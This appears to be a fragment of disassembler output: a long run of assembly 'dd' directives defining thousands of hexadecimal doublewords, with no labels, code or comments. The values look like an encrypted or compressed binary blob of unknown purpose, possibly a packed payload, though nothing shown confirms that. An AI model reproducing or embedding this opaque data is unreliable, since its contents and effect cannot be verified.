		dd 6F16B717h, 325F5305h, 0AD8089EAh, 0F5A48Eh, 15CCE5C5h
		dd 0E2562C0Eh, 4CC9CD00h, 0C73E9C61h, 0F96B0733h, 0F1248299h
		dd 7086E264h, 85007D60h, 20ED7E44h, 4887E052h, 4C4C48BAh
		dd 0A7A98809h, 0BD346482h, 60D018C0h, 9370B024h, 1E16CE02h
		dd 0F316C0F5h, 0D59700BCh, 0FAEC5599h, 900743Ah, 0A4CE019Fh
		dd 2EACD38Dh, 1620835Eh, 2F5FE045h, 2DBC8200h, 1457C074h
		dd 587A09CBh, 64008F8Ah, 7CA5E2F2h, 20D46B00h, 26563825h
		dd 1A8A0F0Dh, 37837BC1h, 81EC9935h, 0D47739E0h,	0C504E9DBh
		dd 0D752DA22h, 286AC090h, 6E71B0h, 0CB93FEA1h, 0A5710AB4h
		dd 0DBEF4C1Dh, 3E502F80h, 7BB788E8h, 963C0EC4h,	6CE04604h
		dd 0FF994DAEh, 0C8AC2900h, 0EEB6E392h, 197A0E50h, 0AE051448h
		dd 900CC095h, 15034DA6h, 0C4E0F9EAh, 0D3001ABh,	4FA0D458h
		dd 0C7863086h, 1AE1C003h, 0D8D7CCA1h, 0BF17F0h,	137A0DF8h
		dd 7216D899h
		dd 2FFF7E00h, 4AB7A0BBh, 36880F18h, 5AC55644h, 2CA3C368h
		dd 12D500DFh, 0F9396A7Dh, 9F4403FEh, 0F8D0298Ch, 0E7CF2FCh
		dd 36CD11D5h, 5F95F7E0h, 2600A858h, 8F4014E0h, 6397FEh
		dd 66ACBE0Ah, 546EDC99h, 803DD93Dh, 2B1BFC6h, 2505DF6Ch
		dd 0AC2015EAh, 0C2BD8761h, 1E0F3300h, 0CDD53F85h, 262E0093h
		dd 5166A7D6h, 0D4001B58h, 5102D2Fh, 921F31h, 0CA653E4Fh
		dd 1339F68Dh, 529D891Fh, 0F0ABE040h, 5CBA931Eh,	0BB00C481h
		dd 2FA7BF39h, 0FC1302CDh, 0E480B2E4h, 71ADBEh, 874866C0h
		dd 2AD48A5Ch, 752F7900h, 12511B4Ah, 0D23700DDh,	8B9B040Eh
		dd 0F30F9EAAh, 0C7C031B0h, 0A820D355h, 8677978h, 7E365B82h
		dd 4A7C9701h, 1428B5E2h, 8800C52Fh, 77AF5750h, 86B93B00h
		dd 3EFFBA19h, 82F52624h, 366F401Ch, 9D0784FEh, 8E3B32FBh
		dd 2358E21Fh, 0B9A8C0CAh, 0F5500185h, 80019AE1h, 18B0434Ah
		dd 8FB85CCBh, 0D34CC9C5h, 0E1FE0ECCh, 858CA9A8h, 0CE4ED2Fh
		dd 0CDD822FCh, 3EB17E00h, 100AEF20h, 0B65224D5h, 4F090068h
		dd 90C0A8C4h, 0DC604926h, 0CA2CAD80h, 9F5A1D4h,	0BECE40BCh
		dd 8B00267Eh, 0EECB361Dh, 0FB4C0082h, 0E1B4DBC5h, 0F20733E0h
		dd 8D55CA9Ch, 0D1294721h, 0C408CB41h, 5423F4h, 6F9B841Fh
		dd 0B71128F7h, 0CCAE7012h, 0D164B0h, 0AB730CB6h, 0C1465B9Dh
		dd 0CD8C8300h, 0B4A4BD2Eh, 5E1113EBh, 0E0210066h, 0DAB436Eh
		dd 559CD00h, 0E1C18D1Bh, 94F4B21Eh, 37AB0008h, 417B7D5Ah
		dd 1CC0A715h, 0BC120E8Ch, 5D39807Ah, 3A6A4DE1h,	4785308Fh
		dd 40D0DBF9h, 407A8398h, 974898A0h, 0AA7E00D4h,	0F662E3D4h
		dd 0F8C254E5h, 414F244Bh, 0A0C1144Dh, 91BE73B0h, 14D4E659h
		dd 59C37A2h, 6B41C3F9h,	30758490h, 89500056h, 6D610846h
		dd 5203CA21h, 1112CC90h, 58348007h, 54290209h, 7A448F3Ah
		dd 76AE3040h, 0DDC3BE05h, 0A8417E85h, 0ECD15530h, 1E73A0C0h
		dd 0C0A917FFh, 3B15ED6Fh, 54019AD6h, 1355ABACh,	0EC64FFFDh
		dd 0A7E20049h, 4329964h, 2A00A630h, 0EE24FEA9h,	6017470Ah
		dd 0EACFF10Eh, 2B1CC42Dh, 89C4BAA4h, 0D4C095FEh, 5897E6EEh
		dd 0DF00F3DAh, 5F1BE82Fh, 62003642h, 71522C9Eh,	982AFB8Fh
		dd 0C2C606B4h, 80F5750Dh, 183D3F24h, 5B76C040h,	32F8070Bh
		dd 0D066C289h, 0C5D55F7Ch, 10560303h, 8F7B23h, 7D713E91h
		dd 0E69927E5h, 4936721Bh, 5647E250h, 2E888014h,	758AE29h
		dd 2DE2D400h, 0AA91BAF4h, 81930086h, 5D20C51Bh,	4B005504h
		dd 53D31C6Bh, 0FDBF449h, 290171Fh, 0CF0A1078h, 0A8034DF2h
		dd 51570173h, 19C109FCh, 3C20F9E3h, 0FB433C06h,	0A967218h
		dd 8601C8h, 851735A7h, 909B5DCDh, 94E5CB02h, 0C099DC72h
		dd 1284D85Ch, 44E282F6h, 0E0D1F788h, 0DF5CCCF4h, 722A05C5h
		dd 0DC805A31h, 2D5E5Ch,	0C93AA4BCh, 28D9465Fh, 0E9994400h
		dd 20F966B1h, 0F088581Bh, 7E112C1h, 6DC3FC6Eh, 0B996713Ch
		dd 0FE8D8084h, 75E5D42Ah, 72C00062h, 714D826Bh,	6600D926h
		dd 0F9D6011Eh, 0F8634B80h, 98E692h, 7BBD8E6Eh, 0A0E4F148h
		dd 55C91500h, 6CAF2B4Ch, 7CB1000Ah, 1C249A3Eh, 5000F44Ah
		dd 0B431C769h, 958473Ah, 4C676017h, 0C9798C00h,	0D001A6B6h
		dd 72C4516Dh, 8EFCFD91h, 7E9E00B1h, 223B5728h, 0DE000AAAh
		dd 0A3D16CFBh, 0F78494h, 9827BB41h, 0BE3D0CECh,	0E0A06AEEh
		dd 858048A9h, 2F944C2Ch, 522D0400h, 0B48ADE38h,	6742C300h
		dd 4B15219Dh, 0DCF2005Ah, 0F3FFB313h, 58949664h, 1C9CFB00h
		dd 0A7E4BAh, 59F4CC23h,	0FA3B7A7Ch, 9B93B500h, 0B9AB1906h
		dd 0B70805B2h, 402ED9EFh, 0DCA276E0h, 123B5AEBh, 0CB48C82Ah
		dd 0D368E0C1h, 9575CEh,	33BE376Ch, 519ADA8Ah, 11CA2800h
		dd 0DE74FD45h, 0B9F40F3Ch, 6A08305h, 882266C5h,	95177600h
		dd 0ADE3799Bh, 0BB9009Ch, 3F5E64B2h, 4900F34Bh,	0FC8A8F35h
		dd 0B693A5h, 91E1EDA9h,	0A81727CFh, 449ED2FAh, 0A5AFF980h
		dd 84DE5Bh, 0BF3DA385h,	0A722039h, 3C272201h, 6E940CA7h
		dd 0A47420h, 0E5700BF0h, 0B7C6D78Ch, 1B17A900h,	4A88F808h
		dd 330C3964h, 0EC8FFD8Bh, 0C815DC80h, 20071F3h,	3710C72Dh
		dd 0F7B4D4EEh, 0D1FE9440h, 7958139Ch, 9B343146h, 719820A6h
		dd 9A104900h, 80C8E023h, 0FD4D0214h, 6D22A559h,	0FF1D2CC0h
		dd 0B84E3F00h, 663072EFh, 0B1240E78h, 1FE21265h, 0BC66D74Ah
		dd 3680E0BEh, 839FD165h, 814526AEh, 3DD4AA8h, 8BFFF59Bh
		dd 3C400BAFh, 9E01E284h, 6508E38h, 0EC24B5C3h, 3C44067Bh
		dd 0B9BEC757h, 8CA81F26h, 0A1FBD509h, 2C4D45Ch,	8CC3880h
		dd 193705C8h, 1EEDA20Ah, 0C38A833h, 404BB1D9h, 0B69E001Ch
		dd 863848EAh, 3F4C2272h, 60288B90h, 0C070F954h,	7E01BE81h
		dd 553D0E16h, 513B176Dh, 96030030h, 4DF8F185h, 6FB30099h
		dd 47F6DA1Fh, 90014F66h, 0D24558A0h, 803D5662h,	80FDEB1Eh
		dd 0D682377Ah, 4C25A555h, 629CE042h, 406A540Dh,	3C40822Fh
		dd 26540B2Eh, 0CE73FBA8h, 3CE98400h, 0FF52F458h, 0F98C0E72h
		dd 80C0BC32h, 4B1CC4CEh, 0ACC09600h, 0C65E990Ah, 747B0E1h
		dd 0A975A418h, 964F006Fh, 46297E5Bh, 6047BC7Ch,	0F4A09005h
		dd 0F0CF03D0h, 0D2EC53AFh, 230496F0h, 6818C4B2h, 0C829D8F8h
		dd 1B9E00D4h, 2E8A05BCh, 2100C240h, 0D571E844h,	111A44Dh
		dd 2B626986h, 0A6B7C805h, 1F0068C6h, 0F843A797h, 0F1111256h
		dd 8D0C4B5Ch, 913B9C02h, 7602F0A0h, 9A03D964h, 93687808h
		dd 2CF87F37h, 0E0641E0Bh, 4966468Bh, 0BB1C8600h, 3D9C38FEh
		dd 44718EAh, 0AB837E36h, 7DF0F358h, 98DB7A01h, 39739AFCh
		dd 67A960h, 6632024Bh, 0BDF1AF87h, 50BE90E4h, 0B893800h
		dd 973091h, 0C73C2C8Ah,	7A15EED1h, 0E82549h, 0F0B089D6h
		dd 18CB76h, 0DEFF6A58h,	92CEAAC9h, 0C51CA300h, 748283F7h
		dd 16D4E842h, 46C55D9h,	40F3857Ch, 1DE1C0D5h, 931525A2h
		dd 861A4468h, 0DB175C12h, 0B8010702h, 6F478F6h,	1EC83A60h
		dd 0C1FC41ADh, 479D80h,	8173AFB3h, 96021AB9h, 0AE4030E7h
		dd 94A667FAh, 0BC42254Fh, 54EA8F32h, 413500B4h,	9DFAD68Eh
		dd 4A77453Dh, 98873800h, 0C87946h, 0B56F974Fh, 1C570CC1h
		dd 1B42A60Eh, 940016E3h, 6106ECB2h, 529C0046h, 0A433C0F5h
		dd 0A600F1D7h, 844B6D3Dh, 0D58F59h, 0A753929h, 0F597C6FBh
		dd 1985058h, 41A9E1D8h,	2860762Ch, 5BF0E8h, 14B2CA09h
		dd 8FAF836Ah, 3C0099ECh, 954D6638h, 13294Bh, 65C5BD19h
		dd 0DD5D49E9h, 5968CA0h, 0BEA81A07h, 63F06EA0h,	60934Ch
		dd 8031ED86h, 1E458A26h, 0EB96AA01h, 7026203h, 0B500BC39h
		dd 10BE4B2Ah, 0CE16D153h, 7B10B26Ah, 64EF0BECh,	0B9E0A033h
		dd 94091426h, 424B0A78h, 657100D7h, 0AB9294CFh,	5F532500h
		dd 0BFF8327Ah, 55883813h, 47C72B00h, 17DA338Dh,	0FA59E2Fh
		dd 0D65D60ACh, 0F4EFB695h, 84B221h, 5AAFEE1Ah, 73987F2Eh
		dd 82180779h, 5F102DAEh, 350C003Bh, 75AD5751h, 8009BB31h
		dd 0AD7C860h, 0EF000094h, 8B5B173h, 0FED9005Bh,	0E066582Bh
		dd 1098A4D7h, 0EB0DED00h, 0E83B4792h, 0F3F4003Dh, 0F06AC89Eh
		dd 710E522Bh, 2023F28Ch, 43E18DBh, 92D0201h, 3B4DE45Eh
		dd 95E09043h, 15903302h, 0A60534E2h, 0D999D878h, 5DD46DC0h
		dd 0E99403FEh, 88E346D6h, 6A7ABCA0h, 42055494h,	0D0C20D8Dh
		dd 0B504C8C5h, 22E66Fh
		dd 6EF479D2h, 9B1012FBh, 65974300h, 7525F114h, 0A6CD040Dh
		dd 0B4C55F99h, 7F4233C0h, 0E1BB9303h, 0CD8E8Fh,	0DE114EE4h
		dd 0EC0022F5h, 0FC2F31D3h, 41AC57Ah, 0C2F9685Ah, 147C85EFh
		dd 1F0FAC26h, 0B1A599ACh, 0F404A0D9h, 3E788500h, 0D5D7B48Dh
		dd 930F267Ah, 0C59F81F0h, 3497352Bh, 101D0D98h,	7CC056D5h
		dd 458D0A6Bh, 0DCE000F5h, 47BA3FE3h, 6C09CCF9h,	0DAB85A9Dh
		dd 9E1E0040h, 13F550ECh, 0B0017343h, 9C041716h,	0F030D16Fh
		dd 0CE6B0134h, 0B12706B7h, 5A9EECE8h, 3BFFAF00h, 23DBB08Bh
		dd 2DE200E5h, 1180CA36h, 8900500Ch, 0E0CC08F0h,	9835734h
		dd 5918E433h, 3794B080h, 0B00D0E43h, 883E0A15h,	2B072D6h
		dd 1821C419h, 6CC6814Ah, 40F83900h, 4DA4C8ECh, 0FB051353h
		dd 4FEC4B60h, 0A866F81Ah, 0CEDBC700h, 7DB50FC0h, 3DE5E467h
		dd 0FF0316CBh, 62578B55h, 91284125h, 37E48ED0h,	0C7000C4h
		dd 0A4FF5A36h, 32EEDB0h, 0F0E07847h, 3ED1A8C5h,	0C3804562h
		dd 10972D0Dh, 0D77170B7h, 671F2170h, 0B575443h,	655D0C49h
		dd 0F7CB809Ch, 832A121Dh, 59990F35h, 916F883h, 3F1F7558h
		dd 0CB02BC6Dh, 48983828h, 4170804h, 80C045D2h, 0E7BEC12Fh
		dd 0AE8C60C9h, 0EECCCF00h, 0BFBC4ADDh, 2C7EDFh,	0D3E20759h
		dd 437CB52Ah, 0AEC38516h, 0ED821430h, 0C94712E8h, 2C9CA241h
		dd 8E8F70FEh, 0AB768081h, 0FE9F69D6h, 0E76300A0h, 0C73BFEB3h
		dd 2F188CE0h, 15110A2Bh, 0AC6A006Ch, 9C92474Ah,	9E005C70h
		dd 2BA8754h, 0FCBFCF8h,	0B5ADFE3Eh, 55A7580h, 0C40EBC16h
		dd 4CCA74Eh, 8AD5257h, 9C4424h,	4D9AA31Ch, 0CF49EF6Ah
		dd 0FB0E0B6Ch, 0F185045h, 0F4C412DDh, 23F78100h, 0CF126E60h
		dd 4AA1F9h, 0EF006CC5h,	4B6BF5E7h, 0BCB0E64Fh, 27928064h
		dd 9D888AF3h, 0C741CD0Fh, 1CD720F7h, 26B9E89Bh,	0D0B01Fh
		dd 862D548Eh, 97586AB2h, 0AB360006h, 644E2850h,	0CBBDA0B5h
		dd 89F00092h, 5514D09Eh, 1D00D624h, 0D438A56Bh,	121FFB1h
		dd 0A52A107h, 2E5174E4h, 457DEC02h, 1CB4A072h, 3D331C9h
		dd 0E9A07010h, 1F8078A3h, 0A90503DAh, 73FEDCB2h, 0C2B833C2h
		dd 4C7E94h, 45AF09CFh, 847CB2F4h, 1B38E860h, 0D4A880h
		dd 35658C58h, 2751958Eh, 743B6A00h, 0BB75B483h,	481560FBh
		dd 7CACB048h, 0C49CAFA0h, 76E24C01h, 0BBC75E2Bh, 1684DF70h
		dd 0BA96Ah, 9326F794h, 2A80D1C6h, 0F48EE971h, 76CBE31Ch
		dd 1B8D3580h, 2F0B9659h, 0B9273Dh, 0AF603286h, 7B7E0077h
		dd 0CC451CC7h, 0E7004166h, 8DE47C71h, 2C47D643h, 948762h
		dd 0B29FD8ABh, 0F4964077h, 4F54BE00h, 0FCA0AE14h, 0EE02007Dh
		dd 0DFAC8A3Ah, 38906A9Dh, 0DC0339EEh, 8D8CECCCh, 8F008738h
		dd 8265AAh, 2B620186h, 13F36D95h, 9C3B3F40h, 694A8F0Ch
		dd 18A0F9CEh, 0DCE765E0h, 0D89AF726h, 5F46C002h, 1E1440B7h
		dd 8AB00B1Bh, 798096FDh, 9BF330E0h, 4AB4C300h, 0E8572413h
		dd 3561C41Ah, 0B93C060h, 0D0483E4Dh, 0F8650008h, 8687C1CFh
		dd 468D176Ch, 1E700766h, 642BD7BDh, 70D6C1A8h, 10C06065h
		dd 4D822001h, 0C91D73E7h, 790403Ah, 59B4433Ch, 3D11651Ch
		dd 202698C4h, 544C10C0h, 0BDE099h, 0DE564B74h, 69502E09h
		dd 0FEBE931Fh, 0FF11F80h, 2C83E4h, 0CE596639h, 0F807111Eh
		dd 6A18D075h, 74B036AAh, 0A04D5E62h, 1958C0F3h,	0A8570046h
		dd 8F405F96h, 261AB025h, 9C707Dh, 0E3A234D3h, 0A62CD7C3h
		dd 0B3401C5Dh, 7D8F84ADh, 9AF903D2h, 0AAEBE042h, 0C5F17DB8h
		dd 0C275C2B0h, 29112801h, 0C8215A80h, 6F02C46Ch, 0F2627D32h
		dd 4081A4E1h, 4587D9F9h, 5903F890h, 0B10716A8h,	0CDA390CAh
		dd 0C85C00F1h, 5EFE906Eh, 0C304B489h, 3E6D0581h, 4311080h
		dd 0D66500F5h, 0F9869AA2h, 1D00ED4Bh, 7CCB1B9Eh, 1489FF0h
		dd 8BE63BF4h, 0CCFDEA97h, 0B3830A9h, 0FD23ACA1h, 0CDC0F61Dh
		dd 0EF8B7098h, 0E075588Ah, 0ED484A03h, 40C7D7C9h, 419AFEB0h
		dd 96228300h, 0F1767E89h, 93043C1Eh, 0CFBF26BFh, 0CD85EB00h
		dd 99DEB272h, 51C048B0h, 0DF0B6204h, 70DB002Ah,	797C378Fh
		dd 0A0022C1h, 293C994Eh, 77594AAEh, 0BDE40F1Eh,	0EE801530h
		dd 1F4C2D84h, 4441A624h, 4A041416h, 4EDBC87h, 4EEF7C05h
		dd 24B9FBh, 4714AA35h, 0F5CF2Ch, 9A6ABC58h, 0BD835520h
		dd 1C7AC200h, 32CD6862h, 0DDC9004Ch, 0EEC73C57h, 0B8B00544h
		dd 0B878A81Fh, 5410DF40h, 1CB46795h, 408ECDC8h,	2EFCE4D5h
		dd 213E4877h, 3A8D80A7h, 0AAB0E689h, 35E4A042h,	6AF23E8Ch
		dd 879D2E81h, 20395529h, 0DA0274CDh, 0A718E542h, 1A1C60D5h
		dd 95280EC0h, 0BAE058DFh, 5DE2AF8Eh, 0F958D1F4h, 0D81E050Bh
		dd 0E400A70Ch, 47EFC19Fh, 7B491366h, 695009CAh,	7C00107Ah
		dd 99E7B6C7h, 50863A7h,	0F45B38F8h, 0D82C801Ch,	0B400C778h
		dd 0BDFB6571h, 7AF106Fh, 9DBCB84Eh, 58806974h, 120C6159h
		dd 8B172E26h, 8E738400h, 0A042E65Eh, 0AD4C0h, 0A87CC837h
		dd 0BC1F6A93h, 0E3912C00h, 84B04F62h, 54E50076h, 350FEC07h
		dd 0AA00FC1Ah, 0C294E0DBh, 5BBB81FDh, 721CC15Dh, 1037618Ch
		dd 42842EC0h, 383BF8B8h, 75DD0066h, 0D1880F2Bh,	61562611h
		dd 0CEBD1DBCh, 2F4087E7h, 289C5943h, 2D002775h,	31F532D7h
		dd 75C03E50h, 0A2F6A5h,	3676E101h, 6AF8E924h, 83F41EEEh
		dd 61818F2Dh, 0C830C904h, 24E3009Ch, 7CA41817h,	880086A0h
		dd 0F941A338h, 1084832h, 6C3B0A61h, 8014D7F5h, 0FBD0CD28h
		dd 1F550969h, 0C0D2DE3Ch, 81BE32AFh, 9344015Fh,	29CC00D1h
		dd 28E6096Fh, 66163BAEh, 6F1EF0B5h, 0FB5DC680h,	72C71B05h
		dd 42815C3Dh, 8BA07900h, 26BA46F2h, 0F1295800h,	38625C20h
		dd 0D4DB3D03h, 0B9881F87h, 0DA031C0h, 93C6CCD2h, 0B07F6300h
		dd 0D4043534h, 36A40FE3h, 0F9E01A82h, 47382F52h, 1292DD3Fh
		dd 580043C3h, 0D36A641Dh, 0F5890135h, 912AD66Fh, 32BD2083h
		dd 734D2B00h, 0A9CE3DD7h, 0FCA472h, 0E69229C1h,	80B44B56h
		dd 5BE07901h, 37438757h, 38F75824h, 0DB97F8h, 92CF1C9Ch
		dd 0A300745Ch, 869E107Fh, 941EA7h, 81BBA534h, 0C3AE21FAh
		dd 0C0C5DF00h, 327A8D83h, 0E12B28A1h, 2E71B8h, 0EC069FDEh
		dd 0D3A96373h, 2931B100h, 46A73EEDh, 3791174Dh,	9048C2F7h
		dd 0BE13A0E4h, 6CB0525Dh, 4860EDF5h, 0F42749Eh,	0DB2F6E94h
		dd 0A0C0056h, 2CF6A090h, 0F105F60h, 2B19FB0h, 75B2FC9Ah
		dd 38D8A5D1h, 0D9AA7E00h, 6DF7E8E6h, 20655ECBh,	926A5310h
		dd 0E5B93Eh, 4E4C79BAh,	0C2DD4Dh, 940CF643h, 0EFB614D2h
		dd 0D4E8AA00h, 0F27F52A5h, 0D18B0092h, 53D24AE0h, 0A800D32Bh
		dd 7830711Eh, 79F44F8h,	0B402CB5Ah, 6E32829Dh, 945628C0h
		dd 0EA16D800h, 6D21E282h, 86FC2634h, 7D0300B1h,	0D595501Fh
		dd 8F67A501h, 85EC2BF0h, 0EE123E60h, 79B92C34h,	4C003F6Ch
		dd 8ED6295Ah, 0B77B5B1h, 3B449F00h, 0ED9F2C5h, 0DA1D00B8h
		dd 0D29D315Bh, 6B7785C2h, 14C3CC00h, 0FEBFE8Eh,	0A0F19851h
		dd 0B38C8Ch, 2D1A9098h,	0E553E76Eh, 0CA5078FEh,	8F955FA0h
		dd 1DC40084h, 0E61CD44h, 8070E040h, 1E908160h, 5012E06h
		dd 0CD02A157h, 536BC5A7h, 0B8A49498h, 0E37D007Ch, 0E8730E7Ch
		dd 27951FB2h, 445D40F2h, 0EB7B64ECh, 0AF318A2Fh, 0A27C584h
		dd 3A9810C0h, 3F9500DCh, 0BDF43D0Bh, 21005223h,	0C8572E93h
		dd 2C346185h, 80AC74B0h
		dd 0D028785Fh, 2309B929h, 40B5CC57h, 9D19EF8h, 0C2EE6B5Ch
		dd 0C50BF440h, 3400BB5Bh, 0F1BE1E75h, 0C2B40EECh, 66405512h
		dd 0A41965E1h, 0C4E59h,	0C5DE94D4h, 0F42E495Eh,	0F6D209AAh
		dd 147851B1h, 42731E06h, 599EE263h, 393B50CAh, 9804E1ADh
		dd 1EE0F8CEh, 91D64708h, 0E60C5900h, 0D2DD89h, 0E31C5763h
		dd 0F2EF2D92h, 0E15F7E00h, 0BC881BDCh, 3F8D00BDh, 49CF4AF4h
		dd 0E5F8FDE8h, 31C91100h, 8C7DE78Ah, 3FF60034h,	30A640C0h
		dd 0CE044B3Ch, 98706AE2h, 80AA7785h, 82BCFEB4h,	28412A05h
		dd 90003DC2h, 0E45B2708h, 77430090h, 0D0E83306h, 0FE05D7ADh
		dd 0A278CC73h, 87FAB1C0h, 3D510032h, 4764E28h, 0BDE741h
		dd 4C3E0178h, 0A85605F9h, 835A81ADh, 5EBA1A1Ch,	0B2EAF4F6h
		dd 0B8803713h, 97609BBh, 0D2534A6h, 0DA8094C3h,	0B4013285h
		dd 11AD556Ch, 0D429D847h, 154E5783h, 0EA1AA3F0h, 1071B104h
		dd 0A8A196F5h, 10F0C9F4h, 0B5CED5h, 21E06B6Eh, 1218DB58h
		dd 0B08A7AA0h, 375BC3D8h, 0C50AC441h, 3D89DE2h,	102849B4h
		dd 0E4478414h, 442A12h,	0FD8AA44Ch, 78189552h, 276018ADh
		dd 12CD3D17h, 8FCFE503h, 84D05767h, 0AE4CB81Ch,	3E990184h
		dd 0B03FE715h, 0EA55DF00h, 4B762880h, 0F4148078h, 0F30B3242h
		dd 693F0BCh, 9D0E44Bh, 0D60DB27Bh, 2937BC80h, 0EF006120h
		dd 194D3070h, 3A7905h, 67B43932h, 17235F1h, 884CD913h
		dd 38A8B4h, 976AB002h, 129622E6h, 3E8B7800h, 666183F4h
		dd 0CDE7037Fh, 9FECF214h, 887691D9h, 9E5629A8h,	74AF515Ah
		dd 0DD715301h, 63322B8Ah, 19CC5E8h, 5FF806F6h, 7BAAD9A3h
		dd 81FA400h, 0CC667Fh, 56C2B7E8h, 4C5BBA04h, 4F29EE1Eh
		dd 207E80BFh, 0A43F9DF3h, 0AC45011Eh, 37CB1335h, 0B1807FEAh
		dd 0FFF8917h, 30F449E2h, 1FDFAC22h, 79C03C7Ch, 1F93E6AFh
		dd 1EC39C2Fh, 32DC5712h, 4060360Ch, 0C80E87CDh,	4427A86Bh
		dd 2480539Ch, 6A3973h, 1DFE75B1h, 0D0903DB6h, 2EE0511Eh
		dd 0C83C1A26h, 5E020550h, 48B05D8Dh, 606C00CFh,	817264FEh
		dd 9200BFE1h, 6354D1F8h, 5E34EE76h, 2B08D043h, 2E2438FAh
		dd 0C6833CEFh, 90E61CC5h, 29A4AC8h, 0C9B3DEFEh,	8E0987Fh
		dd 7A7F6F4Eh, 86F8C400h, 0E7E0A277h, 0BA8418F2h, 0C7FBF05Fh
		dd 99703Eh, 43FAC60Fh, 28D9E72h, 68FFDA2Dh, 21556092h
		dd 0DBA0377Ch, 7594477Fh, 0B222D1A7h, 53A4DC30h, 99C48130h
		dd 9AD6797Bh, 0B0F31F9Ch, 632643B2h, 5FC327ADh,	5B531807h
		dd 9C4110E5h, 1841834Bh, 2440946Bh, 1DF65A46h, 52402Ah
		dd 1A117616h, 6A7C4241h, 8105BB3Ah, 63B5B446h, 1C40836Bh
		dd 1DAD1074h, 7C2FBEC8h, 0D6631F76h, 0D2007823h, 6847A3BDh
		dd 5009938h, 14E5735Dh,	504BA053h, 38554487h, 2EB1C480h
		dd 0D0273CB8h, 964ABEACh, 95EA9400h, 3AEF4C6Ch,	0A7002047h
		dd 70764660h, 450079CFh, 9EC981D5h, 0BBA150h, 0FC550B6Fh
		dd 5AB76619h, 0FA421A00h, 96724810h, 5F020383h,	9A6E568Bh
		dd 0A365DD90h, 3E01C3ECh, 1FBA41ABh, 24D80FBDh,	6151E3Ah
		dd 0DDC58010h, 0D3C73B47h, 0D3EB573h, 79688B14h, 199D001Bh
		dd 0A02E2628h, 50866C7h, 0DDBA4FCCh, 3E2C80A6h,	4500B971h
		dd 40377C28h, 3EB2F270h, 0C5A5B31Eh, 0B801C79h,	160A2D88h
		dd 742FFE9Fh, 31E7FCDh,	35B7A45Fh, 3BE19922h, 39D0F318h
		dd 0B23EAA1Ch, 1DA53C64h, 2318FDF2h, 0B8B09A10h, 0B7D900BCh
		dd 49E0C6EFh, 9D7E2EDFh, 0A4CC4B00h, 9E1C0A6Bh,	1E660F2Dh
		dd 11FB3AAh, 183A2F94h,	0B02AE19Bh, 9A193008h, 74357C6Dh
		dd 330A009Ch, 14381EA1h, 3914B6E9h, 4764E8D2h, 95A8AF04h
		dd 10515033h, 9744E1A3h, 0E91F0C72h, 4024C019h,	4842F612h
		dd 0F2080266h, 118B0721h, 10E66295h, 5C84C19Ah,	44B5D700h
		dd 0C7F9F805h, 45FA6h, 0CA83663Ch, 777146BDh, 7F21580Fh
		dd 27DEE0BFh, 1E5D8653h, 0C3C54210h, 0B3457C3Ch, 9EA3900h
		dd 0BD2A37BAh, 23560004h, 0D943E503h, 89C096C1h, 88BF71A9h
		dd 5329002Ch, 0A7C0A825h, 0A02C2E5h, 0C3BE3ED0h, 473C2733h
		dd 45D5F577h, 0C1290A80h, 9BD35346h, 86616B58h,	31100031h
		dd 0D9CEDA0Ah, 0D030C53Ch, 0B9FBA005h, 1F6B1F20h, 589E9941h
		dd 0E5281876h, 8CCB53FCh, 1F110C44h, 0DCA10A30h, 2CF80071h
		dd 0D7C6BEE8h, 384A41C3h, 0D440B540h, 47608D79h, 0B44B050Ch
		dd 4CF48144h, 5C31D2B0h, 0A92A4900h, 0AA5F4E68h, 4494A62Bh
		dd 0C935BE75h, 0CE8231DEh, 0BF0C87C7h, 0C1918F48h, 411AB5E1h
		dd 0C21A8C8h, 87F4746h,	2A402995h, 8440B6C4h, 7C9C9512h
		dd 9659D00Ch, 9819B4h, 0CEAFE1C1h, 0B0153AE5h, 63271D00h
		dd 0FC35855Eh, 18F7794h, 0EA29A88Ah, 8043212Ch,	7C4C5F99h
		dd 0C46C6B2h, 16BEC563h, 21C05808h, 0E7C4401h, 0B98D00A6h
		dd 0C2E813D5h, 3247AD8h, 60912872h, 3072143Ah, 5E113BB2h
		dd 490080AEh, 0D6624DB6h, 0E86385BDh, 0FF21C264h, 80758076h
		dd 4B3C254Ch, 773E4451h, 0C2E8D345h, 9CB451DDh,	0F35F7FD4h
		dd 67AF75F0h, 0B5598060h, 0A3AC4F47h, 0C9483CE0h, 34635BD5h
		dd 0B28A5520h, 0E1284365h, 0A882D2B3h, 0C46E803Ch, 0CBB6440h
		dd 0FCFBD928h, 3A663E0Ah, 2940DCA1h, 0EA3747E9h, 200C92DDh
		dd 0A003F06h, 28AC81F0h, 3B8F7780h, 0CF9DCD83h,	90184398h
		dd 0A38A8A13h, 187A6041h, 231BE424h, 0C4392B53h, 0A2C0415h
		dd 8055530Dh, 5456655Fh, 80DB1133h, 34995077h, 11C642BAh
		dd 0E703D3C2h, 0F26375B3h, 0C815E82Bh, 4880AF00h, 866395B6h
		dd 77C07045h, 0D7090180h, 0C25C3643h, 9C8AD6DCh, 83401154h
		dd 0D228951Dh, 871E1CB2h, 4809515h, 540DB768h, 0C0CF6299h
		dd 18662E7Dh, 25397B46h, 33531808h, 14400EC4h, 0BEB00A2Dh
		dd 251F3D00h, 0F53B4A51h, 0E5D203D4h, 7391EB63h, 0DD40B104h
		dd 813ECFh, 0CDE0DA30h,	10626353h, 310802D5h, 16F34B9h
		dd 0D64FC6A9h, 1D0820DDh, 440F7907h, 4BF07B2Fh,	66A6D838h
		dd 0CAEEA9D9h, 41DA0200h, 96A82675h, 7DCC756Dh,	42183333h
		dd 0B9000531h, 9B78ABF1h, 30C8D3h, 3D5FC382h, 68692409h
		dd 0A8FAC05h, 9F0419A7h, 78CE63C5h, 0D0C00F88h,	0E30B3Bh
		dd 33E82835h, 0E01F8CF3h, 5E7FDA15h, 0F9BE0084h, 201D9722h
		dd 3A24924Dh, 1512D4BDh, 13A40076h, 0E5572CFDh,	0FF5DAF01h
		dd 2BEA2851h, 4D021836h, 4EC6AD7Ch, 175331h, 4CDE7C45h
		dd 2C415F24h, 69343D82h, 600042FFh, 4494B820h, 3A63C20Fh
		dd 6DB3E9h, 6A2DB931h, 8793E2DBh, 15EA9D79h, 8E8FC400h
		dd 39E4EE1Ch, 3EB899A9h, 52AF9680h, 37C1C3A7h, 0EC304D00h
		dd 0BE1F1A49h, 3F99CFC4h, 1EA92D00h, 21320DD9h,	80901948h
		dd 0BD32CBD9h, 0C69600C3h, 17B325CEh, 0A939EF4Bh, 43A3024Ch
		dd 896B47D5h, 9C148AA4h, 0B008FE12h, 80B3C011h,	7546B64Ch
		dd 0FC006422h, 6BA7807Bh, 0C2B8D51h, 0DBA91314h, 0A407CCA1h
